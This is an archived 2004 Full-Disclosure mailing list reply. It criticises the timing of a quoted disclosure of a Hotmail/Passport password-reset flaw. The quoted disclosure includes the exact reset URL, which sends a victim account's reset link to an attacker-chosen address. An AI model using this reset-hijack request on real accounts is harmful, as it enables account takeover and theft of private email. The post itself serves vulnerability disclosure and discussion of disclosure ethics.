full-disclosure - Full-Disclosure] Hotmail & Passport (.NET Accounts) Vulnerability

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]

From: xploitable at gmail.com (n3td3v)
Subject: Full-Disclosure] Hotmail & Passport (.NET Accounts) Vulnerability

On Tue, 09 Nov 2004 19:40:08 +0000, C?sar Ren? Vega Garc?a
<li_crvgjur1@...mail.com> wrote:
> 
> 
> 
> 
> :Hotmail & Passport (.NET Accounts) Vulnerability
> 
> There is a very serious and stupid vulnerability or badcoding in Hotmail /
> Passport???s (.NET
> Accounts)
> 
> I tried sending emails several times to Hotmail / Passport contact
> addresses, but always met
> with the NLP bots.
> 
> I guess I don???t need to go in details of how cruical and important Hotmail
> / Passport???s
> .NET Account passport is to anyone.
> 
> You name it and they have it, E-Commerce, Credit Card processing, Personal
> Emails, Privacy Issues,
> Corporate Espionage, maybe stalkers and what not.
> 
> It is so simple that it is funny.
> 
> All you got to do is hit the following in your browser:
> 
> https://register.passport.net/emailpwdreset.srf?lc=1033&am!
> p;em=modulohio@...mail.com&id=&cb=&prefem=li_crvgjur1@...mail.com&rst=1
> 
> And you???ll get an email on attacker@...acker.com asking you to click on a
> url something like
> this:
> 
> http://register.passport.net/EmailPage.srf?EmailID=CD4DC30B34D9ABC6&URLNum=0&lc=1033
> 
> >From that url, you can reset the password and I don???t think I need to say
> anything more about
> it.
> 
> Vulnerability / Flaw discovered : 12th April 2003
> Vendor / Owner notified : Yes (as far as emailing them more than 10 times is
> concerned)
> 
> 
> Regards
> --------
> Muhammad Faisal Rauf Danka 
> ________________________________
> T1msn Search. Todo lo que buscas ahora m?s r?pido Haz clic aqu?
> _______________________________________________ Full-Disclosure - We believe
> in it. Charter: http://lists.netsys.com/full-disclosure-charter.html 

I assume you used security@...rosoft.com ? And you have found this
since 2003 and wanted to tell someone. Lame excuse dude. If e-mail
fails (which is unlikely if you use the correct address, which isnt
hard to find via search engines) then you can -easily- phone up
microsoft and make them aware and ask to be redirected to the security
team, or ask the switch board for the correct e-mail or the e-mail of
an employee. I'm sorry but it didn't wash that you tried every avenue
of contact before disclosing this vulnerability a year later, via a
security mailing list.

It sounds more like a kids excuse for smashing a window or getting
caught stealing candy from a store.

Further remarks on this are welcome...

Thanks, n3td3v

I'm a security enthusiast

My forum can be reached via a geocities address
http://www.geocities.com/n3td3v for off-thread feedback and comments.